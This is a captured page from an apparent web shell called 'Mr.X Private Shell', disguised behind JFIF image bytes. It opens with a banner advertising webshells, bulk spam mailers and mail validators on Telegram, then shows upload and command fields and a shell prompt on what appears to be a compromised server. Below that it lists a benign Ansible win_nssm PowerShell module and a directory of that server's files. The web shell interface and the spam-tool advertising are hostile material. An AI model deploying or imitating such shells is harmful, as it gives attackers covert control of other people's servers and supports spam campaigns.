����JFIF��������� Mr.X 
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        

            For_More_Tools:
            
                Telegram: @jackleet | Bulk Smtp support mail sender  | Business Mail Collector  |  Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private

Upload:

Command:

deexcl@216.73.217.71: ~ $ 
#!powershell

# Copyright: (c) 2015, George Frank <george@georgefrank.net>
# Copyright: (c) 2015, Adam Keech <akeech@chathamfinancial.com>
# Copyright: (c) 2015, Hans-Joachim Kliemeck <git@kliemeck.de>
# Copyright: (c) 2019, Kevin Subileau (@ksubileau)
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

#Requires -Module Ansible.ModuleUtils.Legacy
#Requires -Module Ansible.ModuleUtils.ArgvParser
#Requires -Module Ansible.ModuleUtils.CommandUtil

$ErrorActionPreference = "Stop"

$start_modes_map = @{
    "auto" = "SERVICE_AUTO_START"
    "delayed" = "SERVICE_DELAYED_AUTO_START"
    "manual" = "SERVICE_DEMAND_START"
    "disabled" = "SERVICE_DISABLED"
}

$params = Parse-Args -arguments $args -supports_check_mode $true
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
$diff_mode = Get-AnsibleParam -obj $params -name "_ansible_diff" -type "bool" -default $false

$name = Get-AnsibleParam -obj $params -name "name" -type "str" -failifempty $true
$state_options = "present", "absent", "started", "stopped", "restarted"
$state = Get-AnsibleParam -obj $params -name "state" -type "str" -default "present" -validateset $state_options -resultobj $result
$display_name = Get-AnsibleParam -obj $params -name 'display_name' -type 'str'
$description = Get-AnsibleParam -obj $params -name 'description' -type 'str'

$application = Get-AnsibleParam -obj $params -name "application" -type "path"
$appDirectory = Get-AnsibleParam -obj $params -name "working_directory" -aliases "app_directory", "chdir" -type "path"
$appParameters = Get-AnsibleParam -obj $params -name "app_parameters"
$appArguments = Get-AnsibleParam -obj $params -name "arguments" -aliases "app_parameters_free_form"

$stdoutFile = Get-AnsibleParam -obj $params -name "stdout_file" -type "path"
$stderrFile = Get-AnsibleParam -obj $params -name "stderr_file" -type "path"

$executable = Get-AnsibleParam -obj $params -name "executable" -type "path" -default "nssm.exe"

$app_env = Get-AnsibleParam -obj $params -name "app_environment" -type "dict"

$app_rotate_bytes = Get-AnsibleParam -obj $params -name "app_rotate_bytes" -type "int" -default 104858
$app_rotate_online = Get-AnsibleParam -obj $params -name "app_rotate_online" -type "int" -default 0 -validateset 0, 1
$app_stop_method_console = Get-AnsibleParam -obj $params -name "app_stop_method_console" -type "int"
$app_stop_method_skip = Get-AnsibleParam -obj $params -name "app_stop_method_skip" -type "int" -validateset 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15

# Deprecated options, will be removed in a major release after 2021-07-01.
$startMode = Get-AnsibleParam -obj $params -name "start_mode" -type "str" -default "auto" -validateset $start_modes_map.Keys -resultobj $result
$dependencies = Get-AnsibleParam -obj $params -name "dependencies" -type "list"
$user = Get-AnsibleParam -obj $params -name "username" -type "str" -aliases "user"
$password = Get-AnsibleParam -obj $params -name "password" -type "str"

$result = @{
    changed = $false
}
$diff_text = $null

function Invoke-NssmCommand {
    [CmdletBinding()]
    param(
        [Parameter(Mandatory = $true, ValueFromRemainingArguments = $true)]
        [string[]]$arguments
    )

    $command = Argv-ToString -arguments (@($executable) + $arguments)
    $result = Run-Command -command $command

    $result.arguments = $command

    return $result
}

function Get-NssmServiceStatus {
    [CmdletBinding()]
    param(
        [Parameter(Mandatory = $true)]
        [string]$service
    )

    return Invoke-NssmCommand -arguments @("status", $service)
}

function Get-NssmServiceParameter {
    [CmdletBinding()]
    param(
        [Parameter(Mandatory = $true)]
        [string]$service,
        [Parameter(Mandatory = $true)]
        [Alias("param")]
        [string]$parameter,
        [Parameter(Mandatory = $false)]
        [string]$subparameter
    )

    $arguments = @("get", $service, $parameter)
    if ($subparameter -ne "") {
        $arguments += $subparameter
    }
    return Invoke-NssmCommand -arguments $arguments
}

function Set-NssmServiceParameter {
    [CmdletBinding()]
    param(
        [Parameter(Mandatory = $true)]
        [string]$service,
        [Parameter(Mandatory = $true)]
        [string]$parameter,
        [Parameter(Mandatory = $true, ValueFromRemainingArguments = $true)]
        [Alias("value")]
        [string[]]$arguments
    )

    return Invoke-NssmCommand -arguments (@("set", $service, $parameter) + $arguments)
}

function Reset-NssmServiceParameter {
    [CmdletBinding()]
    param(
        [Parameter(Mandatory = $true)]
        [string]$service,
        [Parameter(Mandatory = $true)]
        [Alias("param")]
        [string]$parameter
    )

    return Invoke-NssmCommand -arguments @("reset", $service, $parameter)
}

function Update-NssmServiceParameter {
    <#
    .SYNOPSIS
    A generic cmdlet to idempotently set a nssm service parameter.
    .PARAMETER service
    [String] The service name
    .PARAMETER parameter
    [String] The name of the nssm parameter to set.
    .PARAMETER arguments
    [String[]] Target value (or list of value) or array of arguments to pass to the 'nssm set' command.
    .PARAMETER compare
    [scriptblock] An optionnal idempotency check scriptblock that must return true when
    the current value is equal to the desired value. Usefull when 'nssm get' doesn't return
    the same value as 'nssm set' takes in argument, like for the ObjectName parameter.
    #>
    [CmdletBinding(SupportsShouldProcess = $true)]
    param(
        [Parameter(Mandatory = $true)]
        [string]$service,

        [Parameter(Mandatory = $true)]
        [string]$parameter,

        [Parameter(Mandatory = $true, ValueFromRemainingArguments = $true)]
        [AllowEmptyString()]
        [AllowNull()]
        [Alias("value")]
        [string[]]$arguments,

        [Parameter()]
        [scriptblock]$compare = { param($actual, $expected) @(Compare-Object -ReferenceObject $actual -DifferenceObject $expected).Length -eq 0 }
    )

    if ($null -eq $arguments) { return }
    $arguments = @($arguments | Where-Object { $_ -ne '' })

    $nssm_result = Get-NssmServiceParameter -service $service -parameter $parameter

    if ($nssm_result.rc -ne 0) {
        $result.nssm_error_cmd = $nssm_result.arguments
        $result.nssm_error_log = $nssm_result.stderr
        Fail-Json -obj $result -message "Error retrieving $parameter for service ""$service"""
    }

    $current_values = @($nssm_result.stdout.split("`n`r") | Where-Object { $_ -ne '' })

    if (-not $compare.Invoke($current_values, $arguments)) {
        if ($PSCmdlet.ShouldProcess($service, "Update '$parameter' parameter")) {
            if ($arguments.Count -gt 0) {
                $nssm_result = Set-NssmServiceParameter -service $service -parameter $parameter -arguments $arguments
            }
            else {
                $nssm_result = Reset-NssmServiceParameter -service $service -parameter $parameter
            }

            if ($nssm_result.rc -ne 0) {
                $result.nssm_error_cmd = $nssm_result.arguments
                $result.nssm_error_log = $nssm_result.stderr
                Fail-Json -obj $result -message "Error setting $parameter for service ""$service"""
            }
        }

        $script:diff_text += "-$parameter = $($current_values -join ', ')`n+$parameter = $($arguments -join ', ')`n"
        $result.changed_by = $parameter
        $result.changed = $true
    }
}

function Test-NssmServiceExist {
    [CmdletBinding()]
    param(
        [Parameter(Mandatory = $true)]
        [string]$service
    )

    return [bool](Get-Service -Name $service -ErrorAction SilentlyContinue)
}

function Invoke-NssmStart {
    [CmdletBinding()]
    param(
        [Parameter(Mandatory = $true)]
        [string]$service
    )

    $nssm_result = Invoke-NssmCommand -arguments @("start", $service)

    if ($nssm_result.rc -ne 0) {
        $result.nssm_error_cmd = $nssm_result.arguments
        $result.nssm_error_log = $nssm_result.stderr
        Fail-Json -obj $result -message "Error starting service ""$service"""
    }
}

function Invoke-NssmStop {
    [CmdletBinding()]
    param(
        [Parameter(Mandatory = $true)]
        [string]$service
    )

    $nssm_result = Invoke-NssmCommand -arguments @("stop", $service)

    if ($nssm_result.rc -ne 0) {
        $result.nssm_error_cmd = $nssm_result.arguments
        $result.nssm_error_log = $nssm_result.stderr
        Fail-Json -obj $result -message "Error stopping service ""$service"""
    }
}

function Start-NssmService {
    [CmdletBinding(SupportsShouldProcess = $true)]
    param(
        [Parameter(Mandatory = $true)]
        [string]$service
    )

    $currentStatus = Get-NssmServiceStatus -service $service

    if ($currentStatus.rc -ne 0) {
        $result.nssm_error_cmd = $currentStatus.arguments
        $result.nssm_error_log = $currentStatus.stderr
        Fail-Json -obj $result -message "Error starting service ""$service"""
    }

    if ($currentStatus.stdout -notlike "*SERVICE_RUNNING*") {
        if ($PSCmdlet.ShouldProcess($service, "Start service")) {
            switch -wildcard ($currentStatus.stdout) {
                "*SERVICE_STOPPED*" { Invoke-NssmStart -service $service }

                "*SERVICE_CONTINUE_PENDING*" { Invoke-NssmStop -service $service; Invoke-NssmStart -service $service }
                "*SERVICE_PAUSE_PENDING*" { Invoke-NssmStop -service $service; Invoke-NssmStart -service $service }
                "*SERVICE_PAUSED*" { Invoke-NssmStop -service $service; Invoke-NssmStart -service $service }
                "*SERVICE_START_PENDING*" { Invoke-NssmStop -service $service; Invoke-NssmStart -service $service }
                "*SERVICE_STOP_PENDING*" { Invoke-NssmStop -service $service; Invoke-NssmStart -service $service }
            }
        }

        $result.changed_by = "start_service"
        $result.changed = $true
    }
}

function Stop-NssmService {
    [CmdletBinding(SupportsShouldProcess = $true)]
    param(
        [Parameter(Mandatory = $true)]
        [string]$service
    )

    $currentStatus = Get-NssmServiceStatus -service $service

    if ($currentStatus.rc -ne 0) {
        $result.nssm_error_cmd = $currentStatus.arguments
        $result.nssm_error_log = $currentStatus.stderr
        Fail-Json -obj $result -message "Error stopping service ""$service"""
    }

    if ($currentStatus.stdout -notlike "*SERVICE_STOPPED*") {
        if ($PSCmdlet.ShouldProcess($service, "Stop service")) {
            Invoke-NssmStop -service $service
        }

        $result.changed_by = "stop_service"
        $result.changed = $true
    }
}

function Add-DepByDate {
    [CmdletBinding()]
    param(
        [Parameter(Mandatory = $true)]
        [String]$Message,

        [Parameter(Mandatory = $true)]
        [String]$Date
    )

    # Legacy doesn't natively support deprecate by date, need to do this manually until we use Ansible.Basic
    if (-not $result.ContainsKey('deprecations')) {
        $result.deprecations = @()
    }
    $result.deprecations += @{
        msg = $Message
        date = $Date
        collection_name = "community.windows"
    }
}

Function ConvertTo-NormalizedUser {
    [CmdletBinding()]
    param (
        [Parameter(Mandatory = $true)]
        [String]$InputObject
    )

    $systemSid = [System.Security.Principal.SecurityIdentifier]'S-1-5-18'

    # Try to get the SID from the raw value or with LocalSystem (what services consider to be SYSTEM).
    try {
        $sid = New-Object -TypeName System.Security.Principal.SecurityIdentifier -ArgumentList $InputObject
    }
    catch [ArgumentException] {
        if ($InputObject -eq "LocalSystem") {
            $sid = $systemSid
        }
    }

    if (-not $sid) {
        $candidates = @(if ($InputObject.Contains('\')) {
                $nameSplit = $InputObject.Split('\', 2)

                if ($nameSplit[0] -eq '.') {
                    # If the domain portion is . try using the hostname then falling back to just the username.
                    # Usually the hostname just works except when running on a DC where it's a domain account
                    # where looking up just the username should work.
                    , @($env:COMPUTERNAME, $nameSplit[1])
                    $nameSplit[1]
                }
                else {
                    , $nameSplit
                }
            }
            else {
                $InputObject
            })

        $sid = for ($i = 0; $i -lt $candidates.Length; $i++) {
            $candidate = $candidates[$i]
            $ntAccount = New-Object -TypeName System.Security.Principal.NTAccount -ArgumentList $candidate
            try {
                $ntAccount.Translate([System.Security.Principal.SecurityIdentifier])
                break
            }
            catch [System.Security.Principal.IdentityNotMappedException] {
                if ($i -eq ($candidates.Length - 1)) {
                    throw
                }
                continue
            }
        }
    }

    if ($sid -eq $systemSid) {
        "LocalSystem"
    }
    else {
        $sid.Translate([System.Security.Principal.NTAccount]).Value
    }
}

if (($null -ne $appParameters) -and ($null -ne $appArguments)) {
    Fail-Json $result "'app_parameters' and 'arguments' are mutually exclusive but have both been set."
}

# Backward compatibility for old parameters style. Remove the block bellow in 2.12
if ($null -ne $appParameters) {
    $dep = @{
        Message = "The parameter 'app_parameters' will be removed soon, use 'arguments' instead"
        Date = "2022-07-01"
    }
    Add-DepByDate @dep

    if ($appParameters -isnot [string]) {
        Fail-Json -obj $result -message "The app_parameters parameter must be a string representing a dictionary."
    }

    # Convert dict-as-string form to list
    $escapedAppParameters = $appParameters.TrimStart("@").TrimStart("{").TrimEnd("}").Replace("; ", "`n").Replace("\", "\\")
    $appParametersHash = ConvertFrom-StringData -StringData $escapedAppParameters

    $appParamsArray = @()
    $appParametersHash.GetEnumerator() | Foreach-Object {
        if ($_.Name -ne "_") {
            $appParamsArray += $_.Name
        }
        $appParamsArray += $_.Value
    }
    $appArguments = @($appParamsArray)

    # The rest of the code should use only the new $appArguments variable
}

if ($state -ne 'absent') {
    if ($null -eq $application) {
        Fail-Json -obj $result -message "The application parameter must be defined when the state is not absent."
    }

    if (-not (Test-Path -LiteralPath $application -PathType Leaf)) {
        Fail-Json -obj $result -message "The application specified ""$application"" does not exist on the host."
    }

    if ($null -eq $appDirectory) {
        $appDirectory = (Get-Item -LiteralPath $application).DirectoryName
    }

    if ($user) {
        $user = ConvertTo-NormalizedUser -InputObject $user
        if (
            $user -in @(
                (ConvertTo-NormalizedUser -InputObject 'S-1-5-18'), # SYSTEM
                (ConvertTo-NormalizedUser -InputObject 'S-1-5-19'), # LOCAL SERVICE
                (ConvertTo-NormalizedUser -InputObject 'S-1-5-20') # NETWORK SERVICE
            )
        ) {
            # These accounts have no password (NSSM expects nothing)
            $password = ""
        }
        elseif ($user.EndsWith('$')) {
            # While a gMSA doesn't have a password NSSM will fail with no password so we set a dummy value. The service
            # still starts up properly with this so SCManager handles this nicely.
            $password = "gsma_password"
        }
        elseif (-not $password) {
            # Any other account requires a password here.
            Fail-Json -obj $result -message "User without password is informed for service ""$name"""
        }
    }
}


$service_exists = Test-NssmServiceExist -service $name

if ($state -eq 'absent') {
    if ($service_exists) {
        if (-not $check_mode) {
            if ((Get-Service -Name $name).Status -ne "Stopped") {
                $nssm_result = Invoke-NssmStop -service $name
            }

            $nssm_result = Invoke-NssmCommand -arguments @("remove", $name, "confirm")

            if ($nssm_result.rc -ne 0) {
                $result.nssm_error_cmd = $nssm_result.arguments
                $result.nssm_error_log = $nssm_result.stderr
                Fail-Json -obj $result -message "Error removing service ""$name"""
            }
        }

        $diff_text += "-[$name]"
        $result.changed_by = "remove_service"
        $result.changed = $true
    }
}
else {
    $diff_text_added_prefix = ''
    if (-not $service_exists) {
        if (-not $check_mode) {
            $nssm_result = Invoke-NssmCommand -arguments @("install", $name, $application)

            if ($nssm_result.rc -ne 0) {
                $result.nssm_error_cmd = $nssm_result.arguments
                $result.nssm_error_log = $nssm_result.stderr
                Fail-Json -obj $result -message "Error installing service ""$name"""
            }
            $service_exists = $true
        }

        $diff_text_added_prefix = '+'
        $result.changed_by = "install_service"
        $result.changed = $true
    }

    $diff_text += "$diff_text_added_prefix[$name]`n"

    # We cannot configure a service that was created above in check mode as it won't actually exist
    if ($service_exists) {
        $common_params = @{
            service = $name
            WhatIf = $check_mode
        }

        Update-NssmServiceParameter -parameter "Application" -value $application @common_params
        Update-NssmServiceParameter -parameter "DisplayName" -value $display_name @common_params
        Update-NssmServiceParameter -parameter "Description" -value $description @common_params

        Update-NssmServiceParameter -parameter "AppDirectory" -value $appDirectory @common_params


        if ($null -ne $appArguments) {
            $singleLineParams = ""
            if ($appArguments -is [array]) {
                $singleLineParams = Argv-ToString -arguments $appArguments
            }
            else {
                $singleLineParams = $appArguments.ToString()
            }

            $result.nssm_app_parameters = $appArguments
            $result.nssm_single_line_app_parameters = $singleLineParams

            Update-NssmServiceParameter -parameter "AppParameters" -value $singleLineParams @common_params
        }


        Update-NssmServiceParameter -parameter "AppStdout" -value $stdoutFile @common_params
        Update-NssmServiceParameter -parameter "AppStderr" -value $stderrFile @common_params

        # set app environment, only do this for now when explicitly requested by caller to
        # avoid breaking playbooks which use another / custom scheme for configuring app_env
        if ($null -ne $app_env) {
            # note: convert app_env dictionary to list of strings in the form key=value and pass that a long as value
            $app_env_str = $app_env.GetEnumerator() | ForEach-Object { "$($_.Name)=$($_.Value)" }

            # note: this is important here to make an empty envvar set working properly (in the sense that appenv is reset)
            if ($null -eq $app_env_str) {
                $app_env_str = ''
            }

            Update-NssmServiceParameter -parameter "AppEnvironmentExtra" -value $app_env_str @common_params
        }

        ###
        # Setup file rotation so we don't accidentally consume too much disk
        ###

        #set files to overwrite
        Update-NssmServiceParameter -parameter "AppStdoutCreationDisposition" -value 2 @common_params
        Update-NssmServiceParameter -parameter "AppStderrCreationDisposition" -value 2 @common_params

        #enable file rotation
        Update-NssmServiceParameter -parameter "AppRotateFiles" -value 1 @common_params

        #don't rotate until the service restarts
        Update-NssmServiceParameter -parameter "AppRotateOnline" -value $app_rotate_online @common_params

        #both of the below conditions must be met before rotation will happen
        #minimum age before rotating
        Update-NssmServiceParameter -parameter "AppRotateSeconds" -value 86400 @common_params

        #minimum size before rotating
        Update-NssmServiceParameter -parameter "AppRotateBytes" -value $app_rotate_bytes @common_params

        Update-NssmServiceParameter -parameter "DependOnService" -arguments $dependencies @common_params
        if ($user) {
            # Use custom compare callback to test only the username (and not the password)
            Update-NssmServiceParameter -parameter "ObjectName" -arguments @($user, $password) -compare {
                param($actual, $expected)

                $actualUser = ConvertTo-NormalizedUser -InputObject $actual[0]
                $expectedUser = ConvertTo-NormalizedUser -InputObject $expected[0]

                $actualUser -eq $expectedUser
            } @common_params
        }
        $mappedMode = $start_modes_map.$startMode
        Update-NssmServiceParameter -parameter "Start" -value $mappedMode @common_params
        if ($state -in "stopped", "restarted") {
            Stop-NssmService @common_params
        }

        if ($state -in "started", "restarted") {
            Start-NssmService @common_params
        }

        # Added per users` requests
        if ($null -ne $app_stop_method_console) {
            Update-NssmServiceParameter -parameter "AppStopMethodConsole" -value $app_stop_method_console @common_params
        }

        if ($null -ne $app_stop_method_skip) {
            Update-NssmServiceParameter -parameter "AppStopMethodSkip" -value $app_stop_method_skip @common_params
        }
    }
}

if ($diff_mode -and $result.changed -eq $true) {
    $result.diff = @{
        prepared = $diff_text
    }
}

Exit-Json $result

Filemanager

DIR : / usr/ lib/ python3.9/ site-packages/ ansible_collections/ community/ windows/ plugins/ modules/
Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
psexec.py File 18.61 KB 0644
win_audit_policy_system.ps1 File 5.15 KB 0644
win_audit_policy_system.py File 2.11 KB 0644
win_audit_rule.ps1 File 6.66 KB 0644
win_audit_rule.py File 4.71 KB 0644
win_auto_logon.ps1 File 13.93 KB 0644
win_auto_logon.py File 1.99 KB 0644
win_certificate_info.ps1 File 4.98 KB 0644
win_certificate_info.py File 7.73 KB 0644
win_computer_description.ps1 File 1.82 KB 0644
win_computer_description.py File 1.67 KB 0644
win_credential.ps1 File 28.41 KB 0644
win_credential.py File 6.72 KB 0644
win_data_deduplication.ps1 File 3.93 KB 0644
win_data_deduplication.py File 2.4 KB 0644
win_defrag.ps1 File 2.6 KB 0644
win_defrag.py File 2.59 KB 0644
win_dhcp_lease.ps1 File 14.15 KB 0644
win_dhcp_lease.py File 4.18 KB 0644
win_disk_facts.ps1 File 13.22 KB 0644
win_disk_facts.py File 46.9 KB 0644
win_disk_image.ps1 File 2.63 KB 0644
win_disk_image.py File 1.67 KB 0644
win_dns_record.ps1 File 8.35 KB 0644
win_dns_record.py File 5.1 KB 0644
win_dns_zone.ps1 File 11.84 KB 0644
win_dns_zone.py File 5.39 KB 0644
win_domain_computer.ps1 File 11.06 KB 0644
win_domain_computer.py File 8.71 KB 0644
win_domain_group.ps1 File 14.9 KB 0644
win_domain_group.py File 7.28 KB 0644
win_domain_group_membership.ps1 File 5.1 KB 0644
win_domain_group_membership.py File 3.9 KB 0644
win_domain_object_info.ps1 File 10.84 KB 0644
win_domain_object_info.py File 6.64 KB 0644
win_domain_ou.ps1 File 8.55 KB 0644
win_domain_ou.py File 4.97 KB 0644
win_domain_user.ps1 File 21.13 KB 0644
win_domain_user.py File 14.23 KB 0644
win_dotnet_ngen.ps1 File 2.09 KB 0644
win_dotnet_ngen.py File 2.74 KB 0644
win_eventlog.ps1 File 10.82 KB 0644
win_eventlog.py File 4.82 KB 0644
win_eventlog_entry.ps1 File 2.96 KB 0644
win_eventlog_entry.py File 2.04 KB 0644
win_feature_info.ps1 File 1.46 KB 0644
win_feature_info.py File 4.6 KB 0644
win_file_compression.ps1 File 4.11 KB 0644
win_file_compression.py File 3.05 KB 0644
win_file_version.ps1 File 2.11 KB 0644
win_file_version.py File 1.46 KB 0644
win_firewall.ps1 File 3.6 KB 0644
win_firewall.py File 2.24 KB 0644
win_firewall_rule.ps1 File 14.66 KB 0644
win_firewall_rule.py File 5.55 KB 0644
win_format.ps1 File 7.44 KB 0644
win_format.py File 3.46 KB 0644
win_hosts.ps1 File 9.75 KB 0644
win_hosts.py File 3.77 KB 0644
win_hotfix.ps1 File 9.59 KB 0644
win_hotfix.py File 4.72 KB 0644
win_http_proxy.ps1 File 9 KB 0644
win_http_proxy.py File 3.37 KB 0644
win_iis_virtualdirectory.ps1 File 4.55 KB 0644
win_iis_virtualdirectory.py File 2.91 KB 0644
win_iis_webapplication.ps1 File 5.33 KB 0644
win_iis_webapplication.py File 2.74 KB 0644
win_iis_webapppool.ps1 File 12.36 KB 0644
win_iis_webapppool.py File 7.03 KB 0644
win_iis_webbinding.ps1 File 13.49 KB 0644
win_iis_webbinding.py File 3.91 KB 0644
win_iis_website.ps1 File 5.84 KB 0644
win_iis_website.py File 4.15 KB 0644
win_inet_proxy.ps1 File 19.09 KB 0644
win_inet_proxy.py File 5.95 KB 0644
win_initialize_disk.ps1 File 4.4 KB 0644
win_initialize_disk.py File 2.12 KB 0644
win_lineinfile.ps1 File 14.75 KB 0644
win_lineinfile.py File 6.88 KB 0644
win_listen_ports_facts.ps1 File 2.39 KB 0644
win_listen_ports_facts.py File 2.88 KB 0644
win_mapped_drive.ps1 File 17.09 KB 0644
win_mapped_drive.py File 5.19 KB 0644
win_msg.ps1 File 1.48 KB 0644
win_msg.py File 2.83 KB 0644
win_net_adapter_feature.ps1 File 2.33 KB 0644
win_net_adapter_feature.py File 2.01 KB 0644
win_netbios.ps1 File 2.6 KB 0644
win_netbios.py File 1.99 KB 0644
win_nssm.ps1 File 21.52 KB 0644
win_nssm.py File 6.53 KB 0644
win_pagefile.ps1 File 8.7 KB 0644
win_pagefile.py File 3.78 KB 0644
win_partition.ps1 File 12.07 KB 0644
win_partition.py File 4.44 KB 0644
win_pester.ps1 File 3.6 KB 0644
win_pester.py File 2.91 KB 0644
win_power_plan.ps1 File 7.28 KB 0644
win_power_plan.py File 1.94 KB 0644
win_product_facts.ps1 File 3.23 KB 0644
win_product_facts.py File 1.57 KB 0644
win_psexec.ps1 File 4.33 KB 0644
win_psexec.py File 4.7 KB 0644
win_psmodule.ps1 File 20.01 KB 0644
win_psmodule.py File 5.87 KB 0644
win_psmodule_info.ps1 File 11.51 KB 0644
win_psmodule_info.py File 14.31 KB 0644
win_psrepository.ps1 File 6.95 KB 0644
win_psrepository.py File 5.72 KB 0644
win_psrepository_copy.ps1 File 6.45 KB 0644
win_psrepository_copy.py File 5.51 KB 0644
win_psrepository_info.ps1 File 2.09 KB 0644
win_psrepository_info.py File 3.07 KB 0644
win_psscript.ps1 File 6.02 KB 0644
win_psscript.py File 3.76 KB 0644
win_psscript_info.ps1 File 3.78 KB 0644
win_psscript_info.py File 6.36 KB 0644
win_pssession_configuration.ps1 File 22.56 KB 0644
win_pssession_configuration.py File 14.37 KB 0644
win_rabbitmq_plugin.ps1 File 5.05 KB 0644
win_rabbitmq_plugin.py File 1.29 KB 0644
win_rds_cap.ps1 File 17.3 KB 0644
win_rds_cap.py File 4.07 KB 0644
win_rds_rap.ps1 File 12.53 KB 0644
win_rds_rap.py File 2.92 KB 0644
win_rds_settings.ps1 File 4.28 KB 0644
win_rds_settings.py File 1.75 KB 0644
win_region.ps1 File 17.22 KB 0644
win_region.py File 3.19 KB 0644
win_regmerge.ps1 File 3.27 KB 0644
win_regmerge.py File 3.09 KB 0644
win_robocopy.ps1 File 4.09 KB 0644
win_robocopy.py File 4.23 KB 0644
win_route.ps1 File 3.08 KB 0644
win_route.py File 1.43 KB 0644
win_say.ps1 File 3.27 KB 0644
win_say.py File 3.87 KB 0644
win_scheduled_task.ps1 File 52.41 KB 0644
win_scheduled_task.py File 18.89 KB 0644
win_scheduled_task_stat.ps1 File 13.08 KB 0644
win_scheduled_task_stat.py File 10.02 KB 0644
win_scoop.ps1 File 10.01 KB 0644
win_scoop.py File 1.91 KB 0644
win_scoop_bucket.ps1 File 3.36 KB 0644
win_scoop_bucket.py File 1.74 KB 0644
win_security_policy.ps1 File 7.6 KB 0644
win_security_policy.py File 3.6 KB 0644
win_shortcut.ps1 File 13.56 KB 0644
win_shortcut.py File 3.77 KB 0644
win_snmp.ps1 File 4.75 KB 0644
win_snmp.py File 1.8 KB 0644
win_timezone.ps1 File 2.28 KB 0644
win_timezone.py File 1.96 KB 0644
win_toast.ps1 File 3.45 KB 0644
win_toast.py File 2.99 KB 0644
win_unzip.ps1 File 7.11 KB 0644
win_unzip.py File 3.67 KB 0644
win_user_profile.ps1 File 6.77 KB 0644
win_user_profile.py File 3.54 KB 0644
win_wait_for_process.ps1 File 5.64 KB 0644
win_wait_for_process.py File 3.84 KB 0644
win_wakeonlan.ps1 File 1.42 KB 0644
win_wakeonlan.py File 1.62 KB 0644
win_webpicmd.ps1 File 2.32 KB 0644
win_webpicmd.py File 1.19 KB 0644
win_xml.ps1 File 10.39 KB 0644
win_xml.py File 4.33 KB 0644
win_zip.ps1 File 2.54 KB 0644
win_zip.py File 1.53 KB 0644